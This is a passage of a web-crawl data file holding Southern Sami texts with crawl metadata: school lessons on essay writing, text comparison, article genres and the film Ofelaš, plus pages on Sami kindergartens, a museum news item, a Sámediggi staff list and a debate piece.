nuhtjedh. Vuartesjh sæjroem: Vïjhte-boelhken vuekie\nVïjhteboelhke-vuekie\n- Aalkoe\n- Åejvieboelhke\n- Boelhke 1\n- Boelhke 2\n- Boelhke 3\n- Galhkuve\nAalkosne datne teemam åehpiedahtah man bïjre edtjh tjaeledh, jïh tjaalegidie mejtie edtjh analyseradidh jallh lahtestidh. Aellieh vielie enn 50 baakoeh aalkosne tjaelieh.\nÅejvie-boelhkesne edtjh vuesiehtidh maam datne teeman bïjre daajrah, jïh buektehth nuhtjedh dam maam maahtah, jeatjah tjaaleginie ektine. Maahtah åejvie-boelhkem juekedh göökte jallh golme biehkide. Fïerhtene boelhketjisnie sjïere momeenten bïjre tjaalah, jïh fïerhte boelhketje edtja medtie 50 – 70 baakoeh utnedh.\nDaelie medtie 50 baakoeh aajmene galhkuvasse. Galhkuvisnie konklusjovnem tjaalah. Viertesth konklusjovnem dov tsiehkie-baakoejgujmie. Datne ellies laavenjassem vaestiedamme?\nIh ennje riejries. Datne bijjie-tjaalegem aaj daarpesjh. Aellieh laavenjasse-teekstem nuhtjh bijjie-tjaaleginie, men gaavnh åenehks jïh sjïehteles bijjie-tjaalegem mij dov tjaalegasse hijvenlaakan sjeahta.\nVuesehth dov faagemaahtoe\nÅenehks tjaalegisnie datne edtjh vaenie baakoejgujmie vuesiehtidh datne jarnges teemam damth faage-lidteratuvresne. Vihkeles ih gaajhkem tjaelieh maam daajrah, men gïengeles-daajroem vuesehth man mietie laavenjasse gihtjie.\nDatne aaj dov faage-maahtoem hijvenlaakan vuesehth jis faage-jiehtegh sjïehteles jïh ussjedihks vuekine nuhtjh.\nVuesehth datne maahtah faage-maahtoem nuhtjedh\nEksamene-laavenjasse gellien aejkien akten jallh gellien tjaalegidie vuesehte faage-aamhtesen bïjre. Mujhtieh datne edtjh dov faage-maahtoem nuhtjedh mearan tjaelieminie jïh toelhkesteminie. Vuesehth aaj guktie viehkie-vierhtieh tjaalegem tsevtsieh.\nTjaelieh sjïehteles jïh faalegels gïeline\nÅenehks tjaeleme lea faageles aamhtese-tjaalege. Nuhtjh faage-gïelem. Ohtsedh åenehks jïh tjïelke baakoeh jïh voejhkelh orre jiehtegh gaavnedh. Aellieh dejtie seamma jiehtegidie gellien aejkien nuhtjh jïh aellieh fïerhtem raajesem aelkieh seamma baakojne.\nMujhtieh tjaalegem eensilaakan bigkedh jïh tjïelkeslaakan tjaeledh juktie aelhkie datnem guarkedh. Lohkh dov tjaalegem eensilaakan.\nMaalle\nDah voestes aejkien datne åeneks-vaestiedassem tjaaleh, maahtah daam maallem nuhtjedh.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/resource:cde78a97-1def-4e2a-8b2e-1b0fda9c7099","date":"2020-08-11T16:06:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738816.7\/warc\/CC-MAIN-20200811150134-20200811180134-00215.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":495,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie tjaalegisnie raerieh guktie datne edtjh göökte ovmessie tjaalegh viertiestidh. Gosse viertesteminie dellie edtjh hedtieh jïh joekehtsh gaavnedh tjaalegi gaskem.\nTjaalegh viertiestidh\nGosse datne edtjh göökte tjaalegh viertiestidh, dellie edtjh tjaalegi hedtieh jïh joekehtsh gaavnedh.\nGaavnh hedtieh jïh joekehtsh\nVoestegh edtjh hedtieh gaavnedh. Ohtsedh mah seammalaakan gåabpegen tjaaleginie.\n- Seamma teema tjaaleginie?\n- Seamma viehkie-vierhtieh nuhtjesuvvieh tjaaleginie?\n- Tjaalegh seamma sjangerisnie?\n- Tjaalegh seamma tïjjeste?\n- Tjaelijh seamma dïjrem utnieh?\nDan mænngan edtjh dah joekehtsh gaavnedh:\n- Tjaalegh teemam joekehtslaakan gïetedieh? Jis numhtie guktie?\n- Mah viehkie-vierhtieh tjaelijh nuhtjieh? Akte tjaelije viehkie-vierhtieh nuhtjie mejtie ij dïhte mubpie tjaelije nuhtjh? Jis numhtie mah viehkie-vierhtieh?\n- Tjaalegh ovmessie sjangerinie? Jis numhtie mah joekehtsh dej gaskem?\n- Jis eah tjaalegh seamma tïjjesne, guktie datne dam vuajnah? Gaavnh vuesiehtimmieh tjaaleginie.\n- Jis ij dïjre seammalaakan, mij dellie joekehtse?\nViertiestimmie-vuekie\nGosse datne edtjh viertiestimmie-analysem tjaeledh. Dellie maahtah göökte vuekine dejnie barkedh. Veeljh aktem daejstie vuekijste.\nVoestegh tjaalege A jïh dellie tjaalege B\n- Tjaelieh aalkoem gusnie datne gåabpegi tjaalegi motijvem jïh teemam åehpiedahtah jïh dam maam vihkielommes. Mah seamma tjaaleginie.\n- Åehpiedehtieh viehkie-vierhtieh åenehkslaakan, maam datne tjaalegisnie A gaavnih, jïh guktie viehkie-vierhtieh viehkiehtieh teemam bigkedh\n- Åehpiedehtieh viehkie-vierhtieh åenehkslaakan, maam datne tjaalegisnie B gaavnih, jïh guktie viehkie-vierhtieh viehkiehtieh teemam bigkedh\n- Guhkebe viertiestimmie-boelhke gusnie datne vuesiehtimmide tjaalegistie A jïh tjaalegistie B viertesth. (daennie biehkesne gellie boelhkh, mujhtieh meatan vaeltedh dam maam seammalaakan jïh mahte seammalaakan)\n- Konklusjovne\nTsiehkeste tseahkan viertiestidh\n- Tjaelieh aalkoem gusnie datne motijvem jïh teemam göökte tjaalegijstie åehpiedahtah. Tjaelieh aaj tjaalegi hedtiej bïjre.\n- Tjaelieh aktem hedtien bïjre. Vaeltieh meatan vuesiehtimmieh gåabpegen tjaalegijstie, jïh guktie daate hedtie maahta mijjem tsevtsedh guktie mijjieh tjaalegem guarkebe.\n- Tjaelieh akten orre hedtien bïjre. Vaeltieh meatan vuesiehtimmieh gåabpaegen tjaalegistie, jïh guktie daate hedtie maahta mijjem tsevtsedh guktie mijjieh tjaalegem guarkebe. (Datne maahtah gellie hedtiej bïjre tjaeledh men aellieh fer jïjnjh meatan vaeltieh)\n- Tjaelieh buerkiestimmiem gusnie kontrasth tjaalegi gaskem vuesehth, mujhtieh vuesiehtimmieh meatan vaeltedh gåabpegen tjaalegijstie.\n- Konklusjovne\nTsiehkeste tseahkan viertiestidh nov sån maahta gïerve årrodh. Men jis haarjenh, dellie gujht hijven gåarede. Vuekie datnem viehkehte mujhtedh guktie tjaalegidie viertiestidh abpe dov vaestiedassesne, jïh dellie dov vaestiedasse\/tjaalege buerebe sjædta.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/resource:14e3cc81-d5a7-4992-bab8-d976d41fed8d","date":"2020-08-11T16:26:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738816.7\/warc\/CC-MAIN-20200811150134-20200811180134-00471.warc.gz","language":"sma","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999988079071045}","num_words":333,"character_repetition_ratio":0.088,"word_repetition_ratio":0.012,"special_characters_ratio":0.152,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2018\nGiele\nFormaate\nGaskeviermiesæjroe\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nLearoevierhtie joekehts barkoevuekieh evtede, jïh jeenjemes learohkh saaht daltesisnie, laavloemijstie jïh musihkeste eadtjalguvvieh. Gosse learohkh lierieh guktie vokaalh jïh tjoejh målsoeh jïh guktie verbide sojjehtidh dellie viehkiem åadtjoeh dovne gosse edtjieh soptsestidh jïh tjaeledh.\nLearoevierhtien leah 10 kapihtelh, tekstigujmie, melodijh, interaktijve lïerehtimmieh jïh bïhkedasse lohkehtæjjese. Laavloemistie göökte versjovnh gååvnesieh - akte tekstine jïh akte namhtah. Dejtie laavlometekstide maahta goerine provhkedh. Learohkh maehtieh teksth jïjtje tjaeledh jïh laavlodh dejtie melodijide mah namhtah teksth. Naemhtie maehtieh dejtie lïerehtidh mejnie dellie gïehtelieh jïh viehkiem jïjtsasse lïerehtæmman åadtjodh.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_laavloeh-lierh-saemien","date":"2020-08-06T00:46:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735990.92\/warc\/CC-MAIN-20200806001745-20200806031745-00543.warc.gz","language":"sma","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000065565109253}","num_words":93,"character_repetition_ratio":0.026,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reaktoe saemien maanagïertine\nNöörje, aalkoealmetji sjïere reaktaj gaavhtan, aktem sjïere dïedtem åtna saemien maanaj jïh eejhtegi ïedtjh gorredidh, v. ILO-konvensjovnine nr. 169 aalkoealmetji bïjre.\nSaemiedigkie våaroemasse beaja akte saemien maanagïerte lea nænnoestimmine vihtiestamme maanagïerten barkoe edtja saemien gïelem jïh kultuvrem betnesne utnedh. Saemien maanagïerth lea akte dejstie vihkielommes sijjijste gusnie saemien maanah åadtjoeh sijjen saemien gïelem jïh kultuvrem evtiedidh.\nFylhkenålma maanagïertepolitihkem vihteste reeremen tjïrrh staateles dåarjojste, vååksjedimmien jïh bïhkedimmien tjïrrh tjïeltijste jïh jeatjah barkoejgujmie maanagïertelaaken mietie. Fylhkenålma iktede jïh skreejrie evtiedimmiebarkoem tjïeltine jïh maanagïertine.\nTjïelten lea dïedte ihke maanagïertefaalenasse saemien maanide saemien dajvine saemien gïelem jïh kultuvrem betnesne åtna. Jeatjah tjïeltine edtja sjïehteladtedh ihke saemien maanah maehtieh sijjen gïelem jïh sijjen kultuvrem gorredidh jïh evtiedidh (maanagïertelaake § 8). Maanagïertelaaken § 2 joekoen dam dïedtem tjïerteste maam maanagïerte åtna juktie saemien maanaj gïelem jïh kultuvrem krööhkestidh.\nSaemien maanagïerte edtja maanaj identiteetem goh saemieh nænnoestehtedh viehkine åtnoem saemien gïeleste eevtjedh jïh saemien kultuvren bïjre saarnodh. Saemien maanagïerte stuvresåvva saemien pedagogeles barkijijstie. Byöroe vihkeles biehkieh saemien maanabijjiedimmeste gorredidh dovne barkoevuekine jïh aarkebiejjien darjoeminie. Tjuara maanagïertem öörnedidh naemhtie guktie maanah åadtjoeh meatan årrodh ovmessie barkojne jïh meatan årrodh kultuvrelle jïh sosijaale darjoeminie. Saemien gïele akte vihkeles faktovre, jïh akte krïevenasse barkijh saemien maehtieh jïh daajroem saemien kultuvren bïjre utnieh.\nNöörjen maanagïerth saemien maanajgujmie edtjieh saemien maanaj gïelem jïh kultuvrem krööhkestidh. Maanagïerte edtja, dan gåhkese gåarede, sjïehteladtedh ihke saemien maanah maehtieh sijjen saemien kultuvrem jïh sijjen saemien gïelem dåastodh aktene sjiehteles vuekesne.","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/lohkanguovddas.no\/sma\/giele-lierehtimmie\/maanagierte\/reaktoe-saemien-maanagiertine","date":"2020-09-22T01:57:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400202686.56\/warc\/CC-MAIN-20200922000730-20200922030730-00462.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":232,"character_repetition_ratio":0.133,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.237,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse Nils Gaup filmem Ofelaš darjoeji dellie skreejrehtimmiem aktede vaajesistie tjuvriej bïjre veedtji. Filme vuesehte guktie saemieh dejpeli jieliejin. Filme daaroen Norhern-filmine gohtjeme.\nSaemien spïele-filme\nNils Gaup filme-manusem filmese Ofelaš tjaaleme jïh aaj filmem dorjeme jaepien 1987. Filme Ofelaš baalhkam Amadaprisen åådtjeme jïh Oscar-baalhkese nomineradamme goh bööremes ammesgïele-filme.\nFilmen dahkoe aktede saemien vaajesistie veedtjeme. Filmesne åejvie-almetje, Aigin, tjuvrijste geerelåvva. Ajgin tjuara veeljedh mejtie edtja buvvielovvedh jallh fuelhkiem biehtedh. Åejvie-almetje tjuvride geajnoem vuesehte fuelhkien gåajkoe, men buektehte tjuvride neerredh juktie tjuvrieh våålese praare njååjtem vuelkieh jaemieh. Jïh naemhtie saemie sov fuelhkiem beerkie.\nFilme saemien kultuvrem jïh religijovnem vuesehte jïh aaj guktie saemieh dejpeli jieliejin. Aaj vuesehte almetje biehkie stuerebe ektievoeteste gusnie gaajhkh jielieminie jïh sjïdteminie. Guktie guvvieh vaalteme jïh tjoehpeme, tjoeje jïh musihke lyrihke aajmoem skaepiedieh. Filme aaj ektievoetem saemiej gaskem vuesehte jïh guktie saemie eatnamasse ektiedamme.\nPolitihke\nFilme Ofelaš aaj vuesehte guktie saemieh gymhpeme ihke kultuvrem jïh gåatomedajvem vaarjelidh. 1970 låhkoen minngiemossesne dellie daate gæmhpoe vååjnesasse bööti gosse saemieh lin meatan Alta – Guovdageaidnu-jeanoem pryövedh vaarjelidh. Dovne saemieh jïh daaroeh lin meatan jïh Nils Gaup lij akte dejstie.\nIdtjin vuestehkh buektehth jeanoem vaarjelidh, men gæmhpoe lij læjhkan vihkele. Dan mænngan almetjh Nöörjesne vielie saemien kultuvren jïh saemiej reaktaj bïjre lïerin.\nNåejtie goh tsïegle\nFilmesne mijjieh saemieh vuejnebe mah aerpievuekien mietie jielieminie. Dah bovtsigujmie barkeminie, vijreminie jïh raeffesne jielieminie. Men mijjieh maehtebe damtedh mij akt vaarege edtja heannadidh. Lissine maehtebe damtedh saemieh ov-geahpan.\nSaemien aerpie-jaahkoen mietie nåejtie lij saemiej religijööse åvtehke. Nåejtien lin sjïere maahtoe jïh dïhte lij dïhte guhte mievriesti. Nåejtie lij goh gaavalohke saemide.\nFilmesne Raste råållam åtna goh nåejtie. Filmen doekoe Aigin Rasten laavenjassem åådtje. Aigin tjuara veeljedh mejtie sæjhta jïjtjemem beerkedh jallh edtja jïjtse jieledem sjïeledidh. Aalkoevistie filmesne Aigin lea noere baernie mij ij rikti daejrieh maam edtja darjodh. Men Aigin byjjene jïh nåejtine sjædta.\nNorhern-filme\nDahkoe filmesne seamma maallen mietie bigkesovveme goh Hollywood-filme. Aalkoevistie filmesne mijjieh persovnh jïh ov-vaantoem åahpenibie. Dan mænngan ov-vaantoeh jarkelimmie-mierien vööste bigkesuvvieh. Minngemes mijjieh hijven galhkuvem åadtjobe.\nFilme ållermaahteme goh akte daaroen western-filme. Muvhth sjangere-nommem northern-filme nuhtjieh dagkeri filmi bïjre. Western-filmine Amerikeste dahkoe aevries sijjine heannede, jïh vaenie persovnh meatan. Gellien aejkien persovnh buerie jallh bahhas. Heartoehtæjja tjuara maam akt darjodh eanna skïedtjiej bijjelen vitneme. Dellie vihth raeffie jïh heartoehtæjja maahta hierkem rijredh vælloen.\nGuktie western-filmine dellie aaj filmesne Ofelaš akte parallelle gieriesvoete-soptsese. Dah guaktah mah gaskemsh lyjhkedahtijægan minngemes sinsitniem åadtjoejægan.\nBaakoeh\nSaemien\nDaaroen\ndrïekte\nfart, tempo\nduekie\nbakgrunn\ndahkoe\nhandling\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nGuktie lohkije-tjaalegem tjaeledhKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\n- Kjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nKronihke: Vaajmoe-gïeleKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:190970","date":"2020-09-22T17:51:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206329.28\/warc\/CC-MAIN-20200922161302-20200922191302-00418.warc.gz","language":"sma","language_score":0.9999779463,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999779462814331}","num_words":465,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh artihkelh lohkebe, skuvlesne jïh barkoe- jïh siebriedahken jieliedisnie. Artihkele akte sjangere gusnie krïevenasse saakelesvoeten bïjre lea jarngesne. Mijjieh joekehts såarhts tjaalegh gaavnebe gærjine, plaerine, tjaalaldahkine, leksikovnine jïh brosjyrine – paehpierisnie jïh nedtesne.\nOvmessie åssjelh\nSåemies tjaalegi vihkielommes åssjele lea bievnedh jïh voerkelidh, vuesiehtimmien gaavhtan leksikovne-tjaalegh jïh saernie-tjaalegh.\nDaamtaj aajkoe lea naakenem jaehkiehtidh. Akte medisijnen dotkije maahta vuesiehtimmien gaavhtan aktem tjaalegem tjaeledh orre vueptiestimmiej bïjre dotkemisnie mïetsk-åedtjien jallh jeatjah skïemtjelassen bïjre, jïh aktem vihties såarhts båehtjierdimmiem skïemtjelasseste juvnehtidh. Akte lidteratuvre-daejrije maahta tjaalegem tjaeledh ovnohkens bieliej bïjre Knut Hamsunen tjaelijevoeteste, jïh argumenteradidh mijjieh tjoerebe altese gærjah orrelaakan toelhkestidh.\nTjaalegh aaj gååvnesieh gusnie tjaelije uvtemes sæjhta laejhtedh, sjollehtidh jallh digkiedimmiem sjugniedidh. Plaerie-lahtestimmie akte dagkeres sïejhme vuesiehtimmie.\nOvmessie ulmie-dåehkieh\nMearan såemies tjaalegh leah tjaaleme faage-almetjijstie jïh faage-almetjidie – vuesiehtimmien gaavhtan daejreme-tjaalege aktene faage-tjaalaldahkesne-, jeatjah tjaalegh leah tjaaleme \"gaajhkesidie\". Goh saernie-tjaalegh plaerine, jallh populariseradamme faage-tjaalegh tjaalaldahkine jallh plaerine mah leah ussjedamme sïejhme almetjidie.\nJournaliste-tjaalege jallh daejreme-tjaalege?\nMaehtebe tjaalegidie ovmessie vuelie-sjangerinie juekedh, jearohke ulmie-dåehkeste, gïele-hammoste, åtnoe gaaltijistie jïh referansijste, jïh aajkojste teekstine. Akte sïejhme åejvie-raaste lea journaliste-tjaalegen jïh daejreme-tjaalegen gaskem.\n- Dïhte daejremes faage-tjaalege striengkies krïevenassh åtna, dïhte edtja tjïelke årrodh jïh edtja nuepie gååvnesidh dam gïehtjedidh. Edtja aaj nænnoes struktuvrem utnedh jïh tjaelije edtja gaaltijidie jïh referanside vuesiehtidh. Tjaelije edtja bagkesimmieh buerkiestidh jïh dåarjoehtidh, jïh tjuara tjïelkelaakan tjaeledh mij lea jïjtse åssjaldahkh jïh maam mubpiej teekstijste veedtjeme. Mijjieh daagkeres tjaalegem ussjeden teekstine gåhtjobe: Teekste edtja vuesiehtidh guktie tjaelije lea ussjedadteme ihke daan konklusjovnese båateme.\n- Akte såarhts daejreme-tjaalege lea dïhte populariseradamme faage-tjaalege. Daesnie dåastoje-dåehkie vielie joekehts, jïh ij leah krïevenassh referansi bïjre.\n- Journaliste-tjaalege ij daarpesjh seamma striengkies krïevenassh tseegkemasse jïh referanside utnedh goh faage-tjaalege. Men aaj journalisth tjuerieh saakeles tjaeledh, eensilaakan argumenteradidh jïh tjaeledh mah gaaltijh dah nuhtjieh.\nTseegkeme: Guelie jallh Pyramijde\nByörebe tjaalegem reaktoe öörnegisnie tseegkedh. Daamtaj Gueliem nuhtjebe goh maalle tseegkemasse. Teekste lea juakeme golme boelhkine:\n- aalkoe mij beavna (åejjie)\n- akte gïengelåbpoe åejvie-boelhke (kråahpe)\n- galhkuve mij konklusjovnem buakta (siejpie)\nTeekste lea juakeme boelhketjinie, jïh fïerhte boelhketje aktine orre åejvie-boelhketjinie aalka.\nSaernie-tjaalegem båastode tseegkebe, jïh gohtjesåvva båastoeh pyramijde. Vihkeles mijjieh dam vihkielommes voestegh tjaelebe, mearan doh bïevnesh mah eah leah dan vihkeles, minngemosth tjaelebe.\nGöökte fåantoeh man åvteste naemhtie darjobe:\n- Dah mah plaeriem luhkieh edtjieh varke dam vihkielommesem åadtjodh, jalhts eah abpe teekstem lohkh.\n- Jïh \"deske\" plaeresne tjuara muvhtine teekstem åeniedidh dan åvteste ij leah nuekies sijjie gaajhkese. Akte vihties njoelkedasse lea minngie-gietjeste vaeltedh.\nSïejhme teekste-såarhte skuvlesne\nTjaalege\/artihkele lea dïhte sïejhmemes sjangere learohkh skuvlesne tjaelieh, dovne saemien-faagesne jïh jeatjah faagine. Mejtie datne tjaalegem soptsestimmiej bïjre tjaelieminie jallh joekehtsem islaamen jïh kristelesvoeten gaskem tjïelkeste, dle datne aktem faage-tjaalegem tjaalah.\nFaage-tjaalegen mahte seamma sjangere-væhtah goh akte daejreme-tjaalege: Datne aamhtesen jallh teeman bïjre saakeleslaakan jïh öörnegen mietie tjaalah. Aaj faage-tjaaleginie mejtie skuvlesne tjaalah byörh gaaltijh nuhtjedh, dovne hijven sisvegen gaavhtan jïh jïjtjedh argumentasjovnem nænnoestehtedh.\nWikipedia\nAkte såarhts tjaalege mij gellie tjaelijh jïh lohkijh åådtjeme, lea leksikovne-tjaalegh nedte-sijjesne Wikipedia. Daesnie dovne faage-almetjh jïh mubpieh tjaelieh. Gellie tjaalegh ajve aktem tjaelijem utnieh, men såemies tjaalegh aaj jienebh tjaelijh utnieh.\nGellie tjaalegh leah faageles nænnoes jïh leah tjiehpieslaakan tjaaleme jïh leah leksikovne-tjaalegen krïevenassi mietie. Mubpieh jienebh vaanoeh utnieh.\nBaakoeh\nSaemien\nDaaroen\nsaakelesvoete\nsaklighet\nbåehtjierdimmie\nbehandling\ndaejreme-tjaalege\nvitenskapelig artikkel\nfaage-tjaalaldahke\nfagtidskrift\ntjaalaldahke\ntidskrift\nvuelie-sjangere\nundersjanger\nåejvie-raaste\nhovedskille\nbagkesimmie\npåstand\nussjeden teekste\nresonnerende tekst\n- Kjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nGuktie lohkije-tjaalegem tjaeledhKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nKronihke: Vaajmoe-gïeleKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:178341","date":"2020-09-22T16:26:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206329.28\/warc\/CC-MAIN-20200922161302-20200922191302-00246.warc.gz","language":"sma","language_score":0.9999864101,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999864101409912}","num_words":599,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gearjoebiejjie Snåasesne\nÅarjelsaemieh vielie goh 30 jaepieh gymhpeme orre museumegåetiem Snåasesne åadtjodh. Naaken dejstie mah meatan orreme gæmhpodh, dellie maaje åadtjoejin vuejnedh gåessie kultuvreministere Abid Raja maadthgierkiem don orre Saemie Sïjtese bïeji mij edtja riejries årrodh goeven 2021. Saemien Sijte vihkeles areena åarjelsaemide sjædta, jïh edtja meatan årrodh åarjelsaemien gïelem jïh kultuvrem nænnoestidh jïh vaarjelidh.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.nrk.no\/sapmi\/gearjoebiejjie-snaasesne-1.15199350","date":"2020-10-29T11:42:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107904039.84\/warc\/CC-MAIN-20201029095029-20201029125029-00193.warc.gz","language":"sma","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000033378601074}","num_words":53,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaavnh barkijem Ohtsemebaakoe Kategori Alle Jieleme-, kultuvre- jïh healsoegoevtese Reaktah jïh gaskenasjonaale goevtese Barkije Byjjenimmie- jïh lïerehtimmiegoevtese Direktöören staabe Gaskesadtemestaabe Gïelegoevtese Govlehtallijh dåarjoe Gærjagåetie Kultuvremojhtese-, areaale- jïh byjresegoevtese Reeremegoevtese Saemiedigkien tjirkijh Saemiedigkieraerie Stoerretjåanghkoestaabe Stoerretjåangkoeståvroe Ohtsh Vuesehth ohtsemefilterh Templates.Standard.PersonItemListPage.SortOrder Fornavn Etternavn Orresth ohtsemeilledahkem Skubph ohtsemefilterh A Arild Pettersen Inga Stilling Áirras\/representant Arne Nerås Joma Stilling Ráđđeaddi\/Rådgiver Arne Håkon Thomassen Stilling Seniorráđđeaddi\/Seniorrådgiver Arne Johan Turi Stilling Ráđđeaddi\/Rådgiver Arthur Tørfoss Stilling Áirras\/representant B Bent Martin Eliassen Stilling Seniorráđđeaddi\/Seniorrådgiver Berit Karen Paulsen Stilling Seniorráđđeaddi\/Seniorrådgiver Berit Marie P. E. Eira Stilling Áirras\/representant Berit Sara Sara Buljo Stilling Raeriestæjja maadthlïerehtimmie Bjørg Njuolla Stilling Konsuleanta\/Konsulent Vuesehte 21-30 ållesth 207 personer, sæjroe 3 ållesth 21 Forrige 1 2 3 4 5 ... 20 21 Neste","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/sametinget.no\/gaavnh-barkijem\/?pageNumber=3","date":"2020-10-28T05:13:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107896778.71\/warc\/CC-MAIN-20201028044037-20201028074037-00240.warc.gz","language":"sma","language_score":0.5200343728,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.5200343728065491, \"sme_Latn_score\": 0.4747934937477112}","num_words":105,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":0.872,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MeningerDette er et debattinnlegg. Innlegget gir uttrykk for skribentens holdninger.Saemien seabradahke lea jarkelimmesne. Akte sjyöhtehke gyhtjelasse saemien seabradahkine lea guktie daaroedehteme lea mijjen seabradahkem baajnehtamme mïrrestallemeperspektijvesne. Ij leah sijjie orreme gellievoetese jïh goerkesasse jïjtjestanne goh aalkoeåålmege, jïh joekoen våajnoes sjædta dan åvteste ræhpasvoete jïh baakoetjïerth mïrrestallemesuerkesne leah faatoes. Mijjieh kulturelle suerkesne tjåadtjobe gaskem aerpievuekien saemien seabradahke jïh daaletje tïjjen veanhtadimmieh daajbaaletje ïedtji bïjre.\nMïrrestallemebarkoe aaj Saepmesne jorkeseminie. Jienebh saemieh veeljieh 